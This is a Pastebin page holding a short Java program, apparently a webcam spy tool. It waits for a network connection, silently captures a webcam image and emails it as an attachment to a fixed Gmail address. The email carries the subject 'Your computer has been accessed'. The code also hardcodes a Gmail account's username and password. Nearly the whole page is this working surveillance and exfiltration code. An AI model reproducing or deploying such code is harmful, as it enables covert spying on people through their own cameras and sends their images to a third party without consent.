Advertisement
Guest User

Untitled

a guest
Jun 10th, 2016
91
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.51 KB | None | 0 0
  1. public static void main(String[] args) {
  2.  
  3. boolean net = true;
  4. int num = 0;
  5.  
  6. do {
  7. if (netIsAvailable()) {
  8. webCapture();
  9. mailSend();
  10. net = false;
  11. }
  12.  
  13. } while (net);
  14.  
  15. System.exit(0);
  16.  
  17. }
  18.  
  19. public static void webCapture() {
  20. // get default webcam and open it
  21. Webcam webcam = Webcam.getDefault();
  22.  
  23. webcam.setViewSize(new Dimension(640, 480));
  24.  
  25. // creates test2.jpg
  26. WebcamUtils.capture(webcam, "test2", "jpg");
  27. }
  28.  
  29. private static boolean netIsAvailable() {
  30. try {
  31. final URL url = new URL("http://www.google.com");
  32. final URLConnection conn = url.openConnection();
  33. conn.connect();
  34. return true;
  35. } catch (MalformedURLException e) {
  36. throw new RuntimeException(e);
  37. } catch (IOException e) {
  38. return false;
  39. }
  40. }
  41.  
  42. public static void mailSend() {
  43. final String username = "javaMailTest002@gmail.com";
  44. final String password = "anaaremere";
  45.  
  46. Properties props = new Properties();
  47. props.put("mail.smtp.auth", "true");
  48. props.put("mail.smtp.starttls.enable", "true");
  49. props.put("mail.smtp.host", "smtp.gmail.com");
  50. props.put("mail.smtp.port", "587");
  51.  
  52. Session session = Session.getInstance(props,
  53. new javax.mail.Authenticator() {
  54. protected PasswordAuthentication getPasswordAuthentication() {
  55. return new PasswordAuthentication(username, password);
  56. }
  57. });
  58.  
  59. try {
  60.  
  61. Message message = new MimeMessage(session);
  62. message.setFrom(new InternetAddress(username));
  63. message.setRecipients(Message.RecipientType.TO,
  64. InternetAddress.parse("alindradici@gmail.com"));
  65. message.setSubject("Your computer has been accessed");
  66. message.setText("Congratulation!");
  67.  
  68. MimeBodyPart messageBodyPart = new MimeBodyPart();
  69.  
  70. Multipart multipart = new MimeMultipart();
  71.  
  72. messageBodyPart = new MimeBodyPart();
  73. String file = "C:\Fast\JDBCDemoApp\webCamSpy\test2.jpg";
  74. String fileName = "attachmentName";
  75. DataSource source = new FileDataSource(file);
  76. messageBodyPart.setDataHandler(new DataHandler(source));
  77. messageBodyPart.setFileName(fileName);
  78. multipart.addBodyPart(messageBodyPart);
  79.  
  80. message.setContent(multipart);
  81.  
  82. Transport.send(message);
  83.  
  84. System.out.println("done, email sent ok");
  85.  
  86. } catch (Exception e) {
  87. System.out.println("Email sending problems");
  88. e.printStackTrace();
  89.  
  90.  
  91. }
  92. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement